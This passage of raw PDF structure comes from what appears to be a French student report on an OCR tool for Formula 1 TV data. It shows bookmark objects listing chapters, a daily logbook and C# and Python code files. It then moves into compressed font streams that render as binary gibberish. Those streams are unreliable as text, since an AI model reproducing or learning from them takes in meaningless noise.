39.386457 283.594002 0 ] +/Count 0 +/Parent 1768 0 R +/Next 1770 0 R +>> +endobj +1770 0 obj +<< +/Title +/Dest [ 458 0 R /XYZ 39.386457 222.457602 0 ] +/Count 5 +/Prev 1769 0 R +/First 1771 0 R +/Last 1775 0 R +/Parent 1768 0 R +/Next 1776 0 R +>> +endobj +1771 0 obj +<< +/Title (Selenium) +/Dest [ 458 0 R /XYZ 42.836457 104.962002 0 ] +/Count 0 +/Parent 1770 0 R +/Next 1772 0 R +>> +endobj +1772 0 obj +<< +/Title (CSharp) +/Dest [ 472 0 R /XYZ 42.836457 487.571622 0 ] +/Count 0 +/Prev 1771 0 R +/Parent 1770 0 R +/Next 1773 0 R +>> +endobj +1773 0 obj +<< +/Title (Python?) +/Dest [ 477 0 R /XYZ 42.836457 517.600422 0 ] +/Count 0 +/Prev 1772 0 R +/Parent 1770 0 R +/Next 1774 0 R +>> +endobj +1774 0 obj +<< +/Title (Firefox) +/Dest [ 482 0 R /XYZ 42.836457 389.978022 0 ] +/Count 0 +/Prev 1773 0 R +/Parent 1770 0 R +/Next 1775 0 R +>> +endobj +1775 0 obj +<< +/Title (Tesseract) +/Dest [ 489 0 R /XYZ 42.836457 611.440422 0 ] +/Count 0 +/Prev 1774 0 R +/Parent 1770 0 R +>> +endobj +1776 0 obj +<< +/Title +/Dest [ 489 0 R /XYZ 39.386457 435.021222 0 ] +/Count 5 +/Prev 1770 0 R +/First 1777 0 R +/Last 1781 0 R +/Parent 1768 0 R +/Next 1782 0 R +>> +endobj +1777 0 obj +<< +/Title (Les briques principales) +/Dest [ 489 0 R /XYZ 42.836457 326.909622 0 ] +/Count 3 +/First 1778 0 R +/Last 1780 0 R +/Parent 1776 0 R +/Next 1781 0 R +>> +endobj +1778 0 obj +<< +/Title +/Dest [ 489 0 R /XYZ 42.836457 263.098422 0 ] +/Count 0 +/Parent 1777 0 R +/Next 1779 0 R +>> +endobj +1779 0 obj +<< +/Title (OCR) +/Dest [ 492 0 R /XYZ 42.836457 95.795299 0 ] +/Count 0 +/Prev 1778 0 R +/Parent 1777 0 R +/Next 1780 0 R +>> +endobj +1780 0 obj +<< +/Title (Traitement et affichage) +/Dest [ 497 0 R /XYZ 42.836457 122.598958 0 ] +/Count 0 +/Prev 1779 0 R +/Parent 1777 0 R +>> +endobj +1781 0 obj +<< +/Title +/Dest [ 502 0 R /XYZ 42.836457 187.703299 0 ] +/Count 0 +/Prev 1777 0 R +/Parent 1776 0 R +>> +endobj +1782 0 obj +<< +/Title +/Dest [ 511 0 R /XYZ 39.386457 253.026822 0 ] +/Count 10 +/Prev 1776 0 R +/First 1783 0 R +/Last 1787 0 R +/Parent 1768 0 R +/Next 1793 0 R +>> +endobj +1783 0 obj +<< +/Title (Comment faire ?) +/Dest [ 520 0 R /XYZ 42.836457 735.309222 0 ] +/Count 0 +/Parent 1782 0 R +/Next 1784 0 R +>> +endobj +1784 0 obj +<< +/Title (Simuler un navigateur ?) +/Dest [ 520 0 R /XYZ 42.836457 106.526022 0 ] +/Count 0 +/Prev 1783 0 R +/Parent 1782 0 R +/Next 1785 0 R +>> +endobj +1785 0 obj +<< +/Title +/Dest [ 527 0 R /XYZ 42.836457 387.800022 0 ] +/Count 0 +/Prev 1784 0 R +/Parent 1782 0 R +/Next 1786 0 R +>> +endobj +1786 0 obj +<< +/Title +/Dest [ 534 0 R /XYZ 42.836457 409.684422 0 ] +/Count 0 +/Prev 1785 0 R +/Parent 1782 0 R +/Next 1787 0 R +>> +endobj +1787 0 obj +<< +/Title (Calibration) +/Dest [ 542 0 R /XYZ 42.836457 579.426906 0 ] +/Count 5 +/Prev 1786 0 R +/First 1788 0 R +/Last 1792 0 R +/Parent 1782 0 R +>> +endobj +1788 0 obj +<< +/Title (Liste des pilotes) +/Dest [ 544 0 R /XYZ 42.836457 771.023622 0 ] +/Count 0 +/Parent 1787 0 R +/Next 1789 0 R +>> +endobj +1789 0 obj +<< +/Title (Zone principale) +/Dest [ 544 0 R /XYZ 42.836457 640.773702 0 ] +/Count 0 +/Prev 1788 0 R +/Parent 1787 0 R +/Next 1790 0 R +>> +endobj +1790 0 obj +<< +/Title (Zones pilotes) +/Dest [ 544 0 R /XYZ 42.836457 316.153201 0 ] +/Count 0 +/Prev 1789 0 R +/Parent 1787 0 R +/Next 1791 0 R +>> +endobj +1791 0 obj +<< +/Title (Windows pilotes) +/Dest [ 554 0 R /XYZ 42.836457 363.762714 0 ] +/Count 0 +/Prev 1790 0 R +/Parent 1787 0 R +/Next 1792 0 R +>> +endobj +1792 0 obj +<< +/Title (Stockage) +/Dest [ 563 0 R /XYZ 42.836457 646.430022 0 ] +/Count 0 +/Prev 1791 0 R +/Parent 1787 0 R +>> +endobj +1793 0 obj +<< +/Title (1.7.5 OCR) +/Dest [ 571 0 R /XYZ 39.386457 303.179610 0 ] +/Count 9 +/Prev 1782 0 R +/First 1794 0 R +/Last 1794 0 R +/Parent 1768 0 R +/Next 1803 0 R +>> +endobj +1794 0 obj +<< +/Title +/Dest [ 573 0 R /XYZ 42.836457 771.023622 0 ] +/Count 8 +/First 1795 0 R +/Last 1795 0 R +/Parent 1793 0 R +>> +endobj +1795 0 obj +<< +/Title (Filtres et traitement) +/Dest [ 607 0 R /XYZ 42.836457 237.136277 0 ] +/Count 7 +/First 1796 0 R +/Last 1802 0 R +/Parent 1794 0 R +>> +endobj +1796 0 obj +<< +/Title (Texte) +/Dest [ 629 0 R /XYZ 42.836457 369.234822 0 ] +/Count 0 +/Parent 1795 0 R +/Next 1797 0 R +>> +endobj +1797 0 obj +<< +/Title (Chiffres) +/Dest [ 650 0 R /XYZ 42.836457 460.413222 0 ] +/Count 0 +/Prev 1796 0 R +/Parent 1795 0 R +/Next 1798 0 R +>> +endobj +1798 0 obj +<< +/Title (les chiffres \(2\)) +/Dest [ 674 0 R /XYZ 42.836457 569.267622 0 ] +/Count 0 +/Prev 1797 0 R +/Parent 1795 0 R +/Next 1799 0 R +>> +endobj +1799 0 obj +<< +/Title (Pneus) +/Dest [ 674 0 R /XYZ 42.836457 523.473702 0 ] +/Count 0 +/Prev 1798 0 R +/Parent 1795 0 R +/Next 1800 0 R +>> +endobj +1800 0 obj +<< +/Title (DRS) +/Dest [ 740 0 R /XYZ 42.836457 584.282022 0 ] +/Count 0 +/Prev 1799 0 R +/Parent 1795 0 R +/Next 1801 0 R +>> +endobj +1801 0 obj +<< +/Title (Filtres et methodes sur les images) +/Dest [ 740 0 R /XYZ 42.836457 523.473702 0 ] +/Count 0 +/Prev 1800 0 R +/Parent 1795 0 R +/Next 1802 0 R +>> +endobj +1802 0 obj +<< +/Title +/Dest [ 754 0 R /XYZ 42.836457 371.265222 0 ] +/Count 0 +/Prev 1801 0 R +/Parent 1795 0 R +>> +endobj +1803 0 obj +<< +/Title +/Dest [ 780 0 R /XYZ 39.386457 195.312822 0 ] +/Count 0 +/Prev 1793 0 R +/Parent 1768 0 R +/Next 1804 0 R +>> +endobj +1804 0 obj +<< +/Title +/Dest [ 792 0 R /XYZ 39.386457 572.502822 0 ] +/Count 4 +/Prev 1803 0 R +/First 1805 0 R +/Last 1806 0 R +/Parent 1768 0 R +/Next 1809 0 R +>> +endobj +1805 0 obj +<< +/Title +/Dest [ 798 0 R /XYZ 42.836457 353.394469 0 ] +/Count 0 +/Parent 1804 0 R +/Next 1806 0 R +>> +endobj +1806 0 obj +<< +/Title (Quand remplir la base ?) +/Dest [ 802 0 R /XYZ 42.836457 256.212822 0 ] +/Count 2 +/Prev 1805 0 R +/First 1807 0 R +/Last 1808 0 R +/Parent 1804 0 R +>> +endobj +1807 0 obj +<< +/Title (Quand un pilote a finit un tour) +/Dest [ 804 0 R /XYZ 42.836457 746.625222 0 ] +/Count 0 +/Parent 1806 0 R +/Next 1808 0 R +>> +endobj +1808 0 obj +<< +/Title +/Dest [ 806 0 R /XYZ 42.836457 771.023622 0 ] +/Count 0 +/Prev 1807 0 R +/Parent 1806 0 R +>> +endobj +1809 0 obj +<< +/Title +/Dest [ 811 0 R /XYZ 39.386457 722.226822 0 ] +/Count 5 +/Prev 1804 0 R +/First 1810 0 R +/Last 1814 0 R +/Parent 1768 0 R +>> +endobj +1810 0 obj +<< +/Title (Affichage direct) +/Dest [ 811 0 R /XYZ 42.836457 580.332822 0 ] +/Count 0 +/Parent 1809 0 R +/Next 1811 0 R +>> +endobj +1811 0 obj +<< +/Title +/Dest [ 816 0 R /XYZ 42.836457 716.541222 0 ] +/Count 2 +/Prev 1810 0 R +/First 1812 0 R +/Last 1813 0 R +/Parent 1809 0 R +/Next 1814 0 R +>> +endobj +1812 0 obj +<< +/Title (Affichage Hybride) +/Dest [ 816 0 R /XYZ 42.836457 667.744422 0 ] +/Count 0 +/Parent 1811 0 R +/Next 1813 0 R +>> +endobj +1813 0 obj +<< +/Title +/Dest [ 826 0 R /XYZ 42.836457 353.735622 0 ] +/Count 0 +/Prev 1812 0 R +/Parent 1811 0 R +>> +endobj +1814 0 obj +<< +/Title +/Dest [ 836 0 R /XYZ 42.836457 595.529850 0 ] +/Count 0 +/Prev 1811 0 R +/Parent 1809 0 R +>> +endobj +1815 0 obj +<< +/Title (1.8 Tests) +/Dest [ 836 0 R /XYZ 39.386457 211.724250 0 ] +/Count 3 +/Prev 1768 0 R +/First 1816 0 R +/Last 1818 0 R +/Parent 1735 0 R +/Next 1819 0 R +>> +endobj +1816 0 obj +<< +/Title +/Dest [ 838 0 R /XYZ 39.386457 682.814022 0 ] +/Count 0 +/Parent 1815 0 R +/Next 1817 0 R +>> +endobj +1817 0 obj +<< +/Title (1.8.2 Comment ca aurait du se passer) +/Dest [ 843 0 R /XYZ 39.386457 250.947249 0 ] +/Count 0 +/Prev 1816 0 R +/Parent 1815 0 R +/Next 1818 0 R +>> +endobj +1818 0 obj +<< +/Title (1.8.3 Lecons) +/Dest [ 847 0 R /XYZ 39.386457 613.372422 0 ] +/Count 0 +/Prev 1817 0 R +/Parent 1815 0 R +>> +endobj +1819 0 obj +<< +/Title +/Dest [ 847 0 R /XYZ 39.386457 478.102422 0 ] +/Count 0 +/Prev 1815 0 R +/Parent 1735 0 R +/Next 1820 0 R +>> +endobj +1820 0 obj +<< +/Title (1.10 Optimisation du programme) +/Dest [ 847 0 R /XYZ 39.386457 388.758522 0 ] +/Count 0 +/Prev 1819 0 R +/Parent 1735 0 R +/Next 1821 0 R +>> +endobj +1821 0 obj +<< +/Title (1.11 Ethique du projet) +/Dest [ 847 0 R /XYZ 39.386457 299.414622 0 ] +/Count 0 +/Prev 1820 0 R +/Parent 1735 0 R +/Next 1822 0 R +>> +endobj +1822 0 obj +<< +/Title (1.12 Utilisation de Chat GPT) +/Dest [ 847 0 R /XYZ 39.386457 195.056322 0 ] +/Count 0 +/Prev 1821 0 R +/Parent 1735 0 R +/Next 1823 0 R +>> +endobj +1823 0 obj +<< +/Title +/Dest [ 849 0 R /XYZ 39.386457 771.023622 0 ] +/Count 0 +/Prev 1822 0 R +/Parent 1735 0 R +/Next 1824 0 R +>> +endobj +1824 0 obj +<< +/Title (1.14 Conclusion) +/Dest [ 849 0 R /XYZ 39.386457 681.679722 0 ] +/Count 0 +/Prev 1823 0 R +/Parent 1735 0 R +/Next 1825 0 R +>> +endobj +1825 0 obj +<< +/Title (1.15 Notes de code) +/Dest [ 849 0 R /XYZ 39.386457 592.335822 0 ] +/Count 0 +/Prev 1824 0 R +/Parent 1735 0 R +>> +endobj +1826 0 obj +<< +/Title (2. Cahier des charges) +/Dest [ 851 0 R /XYZ 39.386457 757.223622 0 ] +/Count 5 +/Prev 1735 0 R +/First 1827 0 R +/Last 1831 0 R +/Next 1832 0 R +/Parent 1893 0 R +>> +endobj +1827 0 obj +<< +/Title (2.1 Contexte) +/Dest [ 851 0 R /XYZ 39.386457 669.390822 0 ] +/Count 0 +/Parent 1826 0 R +/Next 1828 0 R +>> +endobj +1828 0 obj +<< +/Title (2.2 Projet) +/Dest [ 856 0 R /XYZ 39.386457 124.199039 0 ] +/Count 0 +/Prev 1827 0 R +/Parent 1826 0 R +/Next 1829 0 R +>> +endobj +1829 0 obj +<< +/Title +/Dest [ 860 0 R /XYZ 39.386457 436.953222 0 ] +/Count 0 +/Prev 1828 0 R +/Parent 1826 0 R +/Next 1830 0 R +>> +endobj +1830 0 obj +<< +/Title (2.4 Cas d'utilisation) +/Dest [ 872 0 R /XYZ 39.386457 771.023622 0 ] +/Count 0 +/Prev 1829 0 R +/Parent 1826 0 R +/Next 1831 0 R +>> +endobj +1831 0 obj +<< +/Title +/Dest [ 874 0 R /XYZ 39.386457 771.023622 0 ] +/Count 0 +/Prev 1830 0 R +/Parent 1826 0 R +>> +endobj +1832 0 obj +<< +/Title (3. Journal de bord) +/Dest [ 876 0 R /XYZ 39.386457 757.223622 0 ] +/Count 38 +/Prev 1826 0 R +/First 1833 0 R +/Last 1870 0 R +/Next 1871 0 R +/Parent 1893 0 R +>> +endobj +1833 0 obj +<< +/Title (3.1 Mercredi 29 Mars 2023) +/Dest [ 876 0 R /XYZ 39.386457 707.865222 0 ] +/Count 0 +/Parent 1832 0 R +/Next 1834 0 R +>> +endobj +1834 0 obj +<< +/Title (3.2 Jeudi 30 Mars 2023) +/Dest [ 879 0 R /XYZ 39.386457 263.492343 0 ] +/Count 0 +/Prev 1833 0 R +/Parent 1832 0 R +/Next 1835 0 R +>> +endobj +1835 0 obj +<< +/Title (3.3 Vendredi 31/03/2023) +/Dest [ 891 0 R /XYZ 39.386457 347.805222 0 ] +/Count 0 +/Prev 1834 0 R +/Parent 1832 0 R +/Next 1836 0 R +>> +endobj +1836 0 obj +<< +/Title (3.4 Lundi 3 Avril) +/Dest [ 966 0 R /XYZ 39.386457 717.534822 0 ] +/Count 0 +/Prev 1835 0 R +/Parent 1832 0 R +/Next 1837 0 R +>> +endobj +1837 0 obj +<< +/Title (3.5 Mardi 4 Avril) +/Dest [ 1032 0 R /XYZ 39.386457 305.202822 0 ] +/Count 0 +/Prev 1836 0 R +/Parent 1832 0 R +/Next 1838 0 R +>> +endobj +1838 0 obj +<< +/Title (3.6 Mercredi 5 Avril) +/Dest [ 1059 0 R /XYZ 39.386457 293.199726 0 ] +/Count 0 +/Prev 1837 0 R +/Parent 1832 0 R +/Next 1839 0 R +>> +endobj +1839 0 obj +<< +/Title (3.7 Jeudi 6 Avril) +/Dest [ 1086 0 R /XYZ 39.386457 238.444086 0 ] +/Count 0 +/Prev 1838 0 R +/Parent 1832 0 R +/Next 1840 0 R +>> +endobj +1840 0 obj +<< +/Title (3.8 Vendredi 6 Avril 2023) +/Dest [ 1129 0 R /XYZ 39.386457 565.514022 0 ] +/Count 0 +/Prev 1839 0 R +/Parent 1832 0 R +/Next 1841 0 R +>> +endobj +1841 0 obj +<< +/Title (3.9 Vacances) +/Dest [ 1154 0 R /XYZ 39.386457 355.144422 0 ] +/Count 0 +/Prev 1840 0 R +/Parent 1832 0 R +/Next 1842 0 R +>> +endobj +1842 0 obj +<< +/Title (3.10 Lundi 24 Avril 2023) +/Dest [ 1209 0 R /XYZ 39.386457 266.404302 0 ] +/Count 0 +/Prev 1841 0 R +/Parent 1832 0 R +/Next 1843 0 R +>> +endobj +1843 0 obj +<< +/Title (3.11 Mardi 25 Avril 2023) +/Dest [ 1228 0 R /XYZ 39.386457 693.136422 0 ] +/Count 0 +/Prev 1842 0 R +/Parent 1832 0 R +/Next 1844 0 R +>> +endobj +1844 0 obj +<< +/Title (3.12 26 Avril 2023) +/Dest [ 1228 0 R /XYZ 39.386457 222.365322 0 ] +/Count 0 +/Prev 1843 0 R +/Parent 1832 0 R +/Next 1845 0 R +>> +endobj +1845 0 obj +<< +/Title (3.13 Jeudi 27 Avril 2023) +/Dest [ 1235 0 R /XYZ 39.386457 584.282022 0 ] +/Count 0 +/Prev 1844 0 R +/Parent 1832 0 R +/Next 1846 0 R +>> +endobj +1846 0 obj +<< +/Title (3.14 Vendredi 28 Avril 2023) +/Dest [ 1247 0 R /XYZ 39.386457 717.534822 0 ] +/Count 0 +/Prev 1845 0 R +/Parent 1832 0 R +/Next 1847 0 R +>> +endobj +1847 0 obj +<< +/Title (3.15 Lundi 1 Mai 2023) +/Dest [ 1249 0 R /XYZ 39.386457 501.702822 0 ] +/Count 0 +/Prev 1846 0 R +/Parent 1832 0 R +/Next 1848 0 R +>> +endobj +1848 0 obj +<< +/Title (3.16 Mardi 2 Mai 2023) +/Dest [ 1255 0 R /XYZ 39.386457 595.251918 0 ] +/Count 0 +/Prev 1847 0 R +/Parent 1832 0 R +/Next 1849 0 R +>> +endobj +1849 0 obj +<< +/Title (3.17 Recrutement Payerne Mai 2023) +/Dest [ 1275 0 R /XYZ 39.386457 526.101222 0 ] +/Count 0 +/Prev 1848 0 R +/Parent 1832 0 R +/Next 1850 0 R +>> +endobj +1850 0 obj +<< +/Title (3.18 Vendredi 5 Mai 2023) +/Dest [ 1275 0 R /XYZ 39.386457 426.936522 0 ] +/Count 0 +/Prev 1849 0 R +/Parent 1832 0 R +/Next 1851 0 R +>> +endobj +1851 0 obj +<< +/Title (3.19 Lundi 8 Mai 2023) +/Dest [ 1278 0 R /XYZ 39.386457 314.866514 0 ] +/Count 0 +/Prev 1850 0 R +/Parent 1832 0 R +/Next 1852 0 R +>> +endobj +1852 0 obj +<< +/Title (3.20 Mardi 9 Mai 2023) +/Dest [ 1314 0 R /XYZ 39.386457 146.799010 0 ] +/Count 0 +/Prev 1851 0 R +/Parent 1832 0 R +/Next 1853 0 R +>> +endobj +1853 0 obj +<< +/Title (3.21 Mercredi 10 Mai 2023) +/Dest [ 1335 0 R /XYZ 39.386457 659.354022 0 ] +/Count 0 +/Prev 1852 0 R +/Parent 1832 0 R +/Next 1854 0 R +>> +endobj +1854 0 obj +<< +/Title (3.22 Jeudi 11 Mai 2023) +/Dest [ 1349 0 R /XYZ 39.386457 562.440762 0 ] +/Count 0 +/Prev 1853 0 R +/Parent 1832 0 R +/Next 1855 0 R +>> +endobj +1855 0 obj +<< +/Title (3.23 vendredi 12 Mai 2023) +/Dest [ 1362 0 R /XYZ 39.386457 623.694822 0 ] +/Count 0 +/Prev 1854 0 R +/Parent 1832 0 R +/Next 1856 0 R +>> +endobj +1856 0 obj +<< +/Title (3.24 Lundi 15 Mai 2023) +/Dest [ 1371 0 R /XYZ 39.386457 584.282022 0 ] +/Count 0 +/Prev 1855 0 R +/Parent 1832 0 R +/Next 1857 0 R +>> +endobj +1857 0 obj +<< +/Title (3.25 Mardi 16 Mai 2023) +/Dest [ 1371 0 R /XYZ 39.386457 273.038922 0 ] +/Count 0 +/Prev 1856 0 R +/Parent 1832 0 R +/Next 1858 0 R +>> +endobj +1858 0 obj +<< +/Title (3.26 Mercredi 17 Mai 2023) +/Dest [ 1380 0 R /XYZ 39.386457 771.023622 0 ] +/Count 0 +/Prev 1857 0 R +/Parent 1832 0 R +/Next 1859 0 R +>> +endobj +1859 0 obj +<< +/Title (3.27 Jeudi 18 Mai 2023) +/Dest [ 1388 0 R /XYZ 39.386457 459.588513 0 ] +/Count 0 +/Prev 1858 0 R +/Parent 1832 0 R +/Next 1860 0 R +>> +endobj +1860 0 obj +<< +/Title (3.28 Lundi 22 Mai 2023) +/Dest [ 1395 0 R /XYZ 39.386457 649.970022 0 ] +/Count 0 +/Prev 1859 0 R +/Parent 1832 0 R +/Next 1861 0 R +>> +endobj +1861 0 obj +<< +/Title (3.29 Mardi 23 Mai 2023) +/Dest [ 1422 0 R /XYZ 39.386457 234.994819 0 ] +/Count 0 +/Prev 1860 0 R +/Parent 1832 0 R +/Next 1862 0 R +>> +endobj +1862 0 obj +<< +/Title (3.30 Mercredi 24 Mai 2023) +/Dest [ 1427 0 R /XYZ 39.386457 629.325222 0 ] +/Count 0 +/Prev 1861 0 R +/Parent 1832 0 R +/Next 1863 0 R +>> +endobj +1863 0 obj +<< +/Title (3.31 Jeudi 25 Mai 2023) +/Dest [ 1429 0 R /XYZ 39.386457 446.337222 0 ] +/Count 0 +/Prev 1862 0 R +/Parent 1832 0 R +/Next 1864 0 R +>> +endobj +1864 0 obj +<< +/Title (3.32 Vendredi 26 Mai 2023) +/Dest [ 1437 0 R /XYZ 39.386457 249.143222 0 ] +/Count 0 +/Prev 1863 0 R +/Parent 1832 0 R +/Next 1865 0 R +>> +endobj +1865 0 obj +<< +/Title (3.33 Grand Prix de Monaco) +/Dest [ 1437 0 R /XYZ 39.386457 164.992922 0 ] +/Count 0 +/Prev 1864 0 R +/Parent 1832 0 R +/Next 1866 0 R +>> +endobj +1866 0 obj +<< +/Title (3.34 Lundi 29 Mai 2023) +/Dest [ 1441 0 R /XYZ 39.386457 771.023622 0 ] +/Count 0 +/Prev 1865 0 R +/Parent 1832 0 R +/Next 1867 0 R +>> +endobj +1867 0 obj +<< +/Title (3.35 Mardi 30 Mai 2023) +/Dest [ 1441 0 R /XYZ 39.386457 547.990122 0 ] +/Count 0 +/Prev 1866 0 R +/Parent 1832 0 R +/Next 1868 0 R +>> +endobj +1868 0 obj +<< +/Title (3.36 Mercredi 31 Mai 2023) +/Dest [ 1441 0 R /XYZ 39.386457 339.971022 0 ] +/Count 0 +/Prev 1867 0 R +/Parent 1832 0 R +/Next 1869 0 R +>> +endobj +1869 0 obj +<< +/Title (3.37 Jeudi 1 Juin 2023) +/Dest [ 1441 0 R /XYZ 39.386457 270.835122 0 ] +/Count 0 +/Prev 1868 0 R +/Parent 1832 0 R +/Next 1870 0 R +>> +endobj +1870 0 obj +<< +/Title (3.38 Vendredi 2 Juin 2023) +/Dest [ 1467 0 R /XYZ 39.386457 608.680422 0 ] +/Count 0 +/Prev 1869 0 R +/Parent 1832 0 R +>> +endobj +1871 0 obj +<< +/Title (4. Code) +/Dest [ 1489 0 R /XYZ 39.386457 757.223622 0 ] +/Count 21 +/Prev 1832 0 R +/First 1872 0 R +/Last 1892 0 R +/Parent 1893 0 R +>> +endobj +1872 0 obj +<< +/Title (4.1 ConfigurationTool.cs) +/Dest [ 1489 0 R /XYZ 39.386457 707.865222 0 ] +/Count 0 +/Parent 1871 0 R +/Next 1873 0 R +>> +endobj +1873 0 obj +<< +/Title (4.2 DriverData.cs) +/Dest [ 1501 0 R /XYZ 39.386457 747.563622 0 ] +/Count 0 +/Prev 1872 0 R +/Parent 1871 0 R +/Next 1874 0 R +>> +endobj +1874 0 obj +<< +/Title (4.3 DriverGapToLeaderWindow.cs) +/Dest [ 1507 0 R /XYZ 39.386457 747.563622 0 ] +/Count 0 +/Prev 1873 0 R +/Parent 1871 0 R +/Next 1875 0 R +>> +endobj +1875 0 obj +<< +/Title (4.4 DriverNameWindow.cs) +/Dest [ 1509 0 R /XYZ 39.386457 747.563622 0 ] +/Count 0 +/Prev 1874 0 R +/Parent 1871 0 R +/Next 1876 0 R +>> +endobj +1876 0 obj +<< +/Title (4.5 DriverSectorWindow.cs) +/Dest [ 1513 0 R /XYZ 39.386457 747.563622 0 ] +/Count 0 +/Prev 1875 0 R +/Parent 1871 0 R +/Next 1877 0 R +>> +endobj +1877 0 obj +<< +/Title (4.6 F1TVEmulator.cs) +/Dest [ 1515 0 R /XYZ 39.386457 747.563622 0 ] +/Count 0 +/Prev 1876 0 R +/Parent 1871 0 R +/Next 1878 0 R +>> +endobj +1878 0 obj +<< +/Title (4.7 Form1.cs) +/Dest [ 1529 0 R /XYZ 39.386457 747.563622 0 ] +/Count 0 +/Prev 1877 0 R +/Parent 1871 0 R +/Next 1879 0 R +>> +endobj +1879 0 obj +<< +/Title (4.8 Program.cs) +/Dest [ 1549 0 R /XYZ 39.386457 747.563622 0 ] +/Count 0 +/Prev 1878 0 R +/Parent 1871 0 R +/Next 1880 0 R +>> +endobj +1880 0 obj +<< +/Title (4.9 Settings.Designer.cs) +/Dest [ 1551 0 R /XYZ 39.386457 747.563622 0 ] +/Count 0 +/Prev 1879 0 R +/Parent 1871 0 R +/Next 1881 0 R +>> +endobj +1881 0 obj +<< +/Title (4.10 SqliteStorage.cs) +/Dest [ 1575 0 R /XYZ 39.386457 747.563622 0 ] +/Count 0 +/Prev 1880 0 R +/Parent 1871 0 R +/Next 1882 0 R +>> +endobj +1882 0 obj +<< +/Title (4.11 Zone.cs) +/Dest [ 1587 0 R /XYZ 39.386457 747.563622 0 ] +/Count 0 +/Prev 1881 0 R +/Parent 1871 0 R +/Next 1883 0 R +>> +endobj +1883 0 obj +<< +/Title (4.12 DataWrapper.cs) +/Dest [ 1597 0 R /XYZ 39.386457 747.563622 0 ] +/Count 0 +/Prev 1882 0 R +/Parent 1871 0 R +/Next 1884 0 R +>> +endobj +1884 0 obj +<< +/Title (4.13 DriverDrsWindow.cs) +/Dest [ 1615 0 R /XYZ 39.386457 747.563622 0 ] +/Count 0 +/Prev 1883 0 R +/Parent 1871 0 R +/Next 1885 0 R +>> +endobj +1885 0 obj +<< +/Title (4.14 DriverLapTimeWindow.cs) +/Dest [ 1621 0 R /XYZ 39.386457 747.563622 0 ] +/Count 0 +/Prev 1884 0 R +/Parent 1871 0 R +/Next 1886 0 R +>> +endobj +1886 0 obj +<< +/Title (4.15 DriverPositionWindow.cs) +/Dest [ 1623 0 R /XYZ 39.386457 747.563622 0 ] +/Count 0 +/Prev 1885 0 R +/Parent 1871 0 R +/Next 1887 0 R +>> +endobj +1887 0 obj +<< +/Title (4.16 DriverTyresWindow.cs) +/Dest [ 1625 0 R /XYZ 39.386457 747.563622 0 ] +/Count 0 +/Prev 1886 0 R +/Parent 1871 0 R +/Next 1888 0 R +>> +endobj +1888 0 obj +<< +/Title (4.17 OcrImage.cs) +/Dest [ 1633 0 R /XYZ 39.386457 747.563622 0 ] +/Count 0 +/Prev 1887 0 R +/Parent 1871 0 R +/Next 1889 0 R +>> +endobj +1889 0 obj +<< +/Title (4.18 Reader.cs) +/Dest [ 1663 0 R /XYZ 39.386457 747.563622 0 ] +/Count 0 +/Prev 1888 0 R +/Parent 1871 0 R +/Next 1890 0 R +>> +endobj +1890 0 obj +<< +/Title (4.19 Settings.cs) +/Dest [ 1679 0 R /XYZ 39.386457 747.563622 0 ] +/Count 0 +/Prev 1889 0 R +/Parent 1871 0 R +/Next 1891 0 R +>> +endobj +1891 0 obj +<< +/Title (4.20 Window.cs) +/Dest [ 1701 0 R /XYZ 39.386457 747.563622 0 ] +/Count 0 +/Prev 1890 0 R +/Parent 1871 0 R +/Next 1892 0 R +>> +endobj +1892 0 obj +<< +/Title (4.21 recoverCookiesCSV.py) +/Dest [ 1731 0 R /XYZ 39.386457 747.563622 0 ] +/Count 0 +/Prev 1891 0 R +/Parent 1871 0 R +>> +endobj +1893 0 obj +<< +/Count 159 +/First 1734 0 R +/Last 1871 0 R +>> +endobj +1894 0 obj +<< +/Length1 7128 +/Filter /FlateDecode +/Length 4565 +>> +stream +x9 XTG]tܘ(ca@/QS@AQ(G4QàxJ W"J4¼xmk~!IҽO^b-!Mgv2$w !cOJAB$|/JK%NDJlRۛ^'DSCkK8p q3;ﰑ@RWG"DnsW'FeZ51FM[B^ǹf)i鶉$׏ ]W{QHS'¯wms \΄x$vV%ՙj)  P7I6?SdUAg_ y$52aLS.,]. # 2Oj J}9ـ7c~د#SG4RS+u&CQ\q&qFHH.Bpn8?j(~b%%'-$]D4%=q*'/'b_SERD?*bLhyE\8ڜLTMRp#Blmxy$Vґ~Eq>i(>S@b%<$5]L-bg렽/{6!nD$>_%~- GxAH1)%7HͦBTB(H2a!lW_p5jSl?ĵjDR6{d h;iWCs2z^մZh,x +=HaCTqQ<,ސfbe%3]wM&FDGsmgfogSӽ?4gYd7Q)$fu#\ǥb5 SO[eWҦHEG$iv9J1# ø]C/21xo@< Xi!a@ +MXiwu}/zp݃,Q?cjurrՅ޹4?4^׻QQ#h9q.C.m?N]hݱE*?(;V3ˮq9A*5Ԫ ޅ>Zhm'Wt*V-glx +JL|rclU`%>2NjR)>@bWٕt)wMn2W7;ˎ\:tjFzŕn]t"TM2Re;+?=Uy_*Rkoss(|j@ D{́4Q7mdcbPdY>j+󌏪LgX_ucrjęr:0d@:gYf3nuDځ~YY&#G/N ěpHJcc.CA^4^vx ?kRٵ_`%4$h,py!/_tYMfQv|%yݮҧ+n筃n0fVJ;>zLnQPlRQŅgOKC9fs75ָQG3L[D=9)몱:@ox;(+@ɬЉaޤS^*J|"8f}qbJcqk'FwfjRssjLGh媚wXii-r]U- 9C"cڿ}%cgܤ㳣SFglW?}6a@y(]A,fu=9I#h݈VObCoyYr*PO8i4R{/$vi?ċ}j-\6әŻJnb%l7.BA@ḵzj(.-`ouV0B60Fi,;HNELh a̋`^.xcjq[}3zRi/."gttbUI,ne=Q۲:zɾ&^InҺ{}xՂ;S9+r{KI]5S~ٻ˘5GVG67_;*IS15z42xUJ9@Zv(!!/<.ve~zcVv4(称wp$6dP]9+ @V.g-\q?:jt/t˘ :{<3rNlZNi#J/ըqV)4'* TZB~#'7&c7NMkYMEG4u/Xe'Ugc.H_rea AMXyℹfTWNOfT10JTFZbZP,WzXceWa9dyj}A~+% EO }':.4#ZaZ +Rbe #ơQsb7' ݃ ?Y23>!͐^cGW1a!ҥʮouj4ۣ6?糞.zЪz)pw‘;ۄ2Wz^3S +jfýofИܷyCݛS0/ D{x?^ieu9vCk3bˎG<mRVŖBVg k};=#xm`a?@+޿1r[9sڂO;_,IpX&QB Vеu͂Ju?AbY2Ƒ% '[b1UY)VWW'k-`V_ /n n6D :?X^!#/"d&ƶ11E9cɎX?1q~3ޑJ"bNс#y>5H d2Q$s4-1H+9aO= g|2;TKCz) + r`&mwl )jvc|TmIW^ix2Qr gF*~+@[! .+q +endstream +endobj +1895 0 obj +<< +/Length1 32140 +/Filter /FlateDecode +/Length 8390 +>> +stream +x={\TU{s 